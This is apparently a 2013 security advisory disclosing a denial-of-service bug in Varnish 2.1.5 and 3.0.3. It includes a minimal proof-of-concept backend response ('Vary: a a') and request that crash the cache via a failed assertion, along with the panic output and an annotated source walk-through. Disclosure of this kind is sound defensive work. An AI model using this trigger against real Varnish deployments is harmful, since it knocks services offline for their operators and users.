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Varnish 2.1.5, 3.0.3 DoS in VRY_Create() while parsing Vary header
From: tytusromekiatomek () hushmail com
Date: Tue, 05 Mar 2013 20:45:37 +0000

######################################
# VRY_Create()      |   (*q == ',')  #
######################################
#
# Authors:
#
# 22733db72ab3ed94b5f8a1ffcde850251fe6f466
# c8e74ebd8392fda4788179f9a02bb49337638e7b
# AKAT-1
#
#######################################

## Versions affected:
3.0.3
2.1.5

## Summary:
Varnish 2.1.5 and 3.0.3 crash and restart (via assert) while parsing Vary header (backend response).
This could be used if attacker gained access to backed systems (for example injecting HTTP headers
in buggy web application), or when backend system is not managed by the same entity as the varnish 
proxy.



## PoC (response from backend):
-- cut --
HTTP/1.1 200 OK
Vary: a a


-- cut --



##  PoC (request):
 -- cut --
GET / HTTP/1.1
Host: foo

 -- cut --



## Details:
Varnish 2.1.5)
  child pid will crash with the following message:
  "Panic message: Missing errorhandling code in VRY_Create(), cache_vary.c line 128:#012  Condition(*q == ',') not 
true."

Varnish 3.0.3)
  child pid will crash with the followin message:
  "Condition(*q == ',') not true.thread = (cache-worker)#012ident = 
Linux,3.2.0-4-amd64,x86_64,-smalloc,-smalloc,-hcritbit,epoll#012Backtrace:#"



# Brief and unfinished pointers on what happens here (based on 2.1.5) :

   The 'q' variable (90 line) is a pointer to 1st character of the 'Vary'
   header value, which is 'a' from POC. The 'for' loop (90 line) then
   checks if the 'q' isn't space and ','. If it is, then increments the
   'q'. The 2nd iteration makes 'q' pointing at ' ' from POC. The 'while'
   loop (118 line) then skips spaces incrementing 'q', thus 'q' points
   at 'b' from POC, which is obviously != '\0' (120 line). Finaly 'q'
   is != ',' so the assert is triggered (122 line).


    include/vas.h:
    57 #define xxxassert(e)                                                    \
    58 do {                                                                    \
    59         if (!(e))                                                       \
    60                 VAS_Fail(__func__, __FILE__, __LINE__, #e, errno, 1);   \
    61 } while (0)


    bin/varnishd/cache_vary.c:
    62  struct vsb *
    63  VRY_Create(const struct sess *sp, const struct http *hp)
    64  {
    65          char *v, *p, *q, *h, *e;
    66          struct vsb *sb, *sbh;
    67          unsigned l;
    68
    69          /* No Vary: header, no worries */
    70          if (!http_GetHdr(hp, H_Vary, &v))
    71                  return (NULL);
    72
    73          /* For vary matching string */
    74          sb = VSB_new_auto();
    75          AN(sb);
    76
    77          /* For header matching strings */
    78          sbh = VSB_new_auto();
    79          AN(sbh);
    80
    81          if (*v == ':') {
    82                  WSP(sp, SLT_Error, "Vary header had extra ':', fix backend");
    83                  v++;
    84          }
    85          for (p = v; *p; p++) {
    86
    87                  /* Find next header-name */
    88                  if (vct_issp(*p))
    89                          continue;
    90                  for (q = p; *q && !vct_issp(*q) && *q != ','; q++)
    91                          continue;
    92
    93                  /* Build a header-matching string out of it */
    94                  VSB_clear(sbh);
    95                  VSB_printf(sbh, "%c%.*s:%c",
    96                      (char)(1 + (q - p)), (int)(q - p), p, 0);
    97                  AZ(VSB_finish(sbh));
    98
    99                  if (http_GetHdr(sp->http, VSB_data(sbh), &h)) {
    100                         AZ(vct_issp(*h));
    101                         /* Trim trailing space */
    102                         e = strchr(h, '\0');
    103                         while (e > h && vct_issp(e[-1]))
    104                                 e--;
    105                         /* Encode two byte length and contents */
    106                         l = e - h;
    107                         assert(!(l & ~0xffff));
    108                 } else {
    109                         e = h;
    110                         l = 0xffff;
    111                 }
    112                 VSB_printf(sb, "%c%c", (int)(l >> 8), (int)(l & 0xff));
    113                 /* Append to vary matching string */
    114                 VSB_bcat(sb, VSB_data(sbh), VSB_len(sbh));
    115                 if (e != h)
    116                         VSB_bcat(sb, h, e - h);
    117
    118                 while (vct_issp(*q))
    119                         q++;
    120                 if (*q == '\0')
    121                         break;
    122                 xxxassert(*q == ',');
    123                 p = q;
    124         }

EOF


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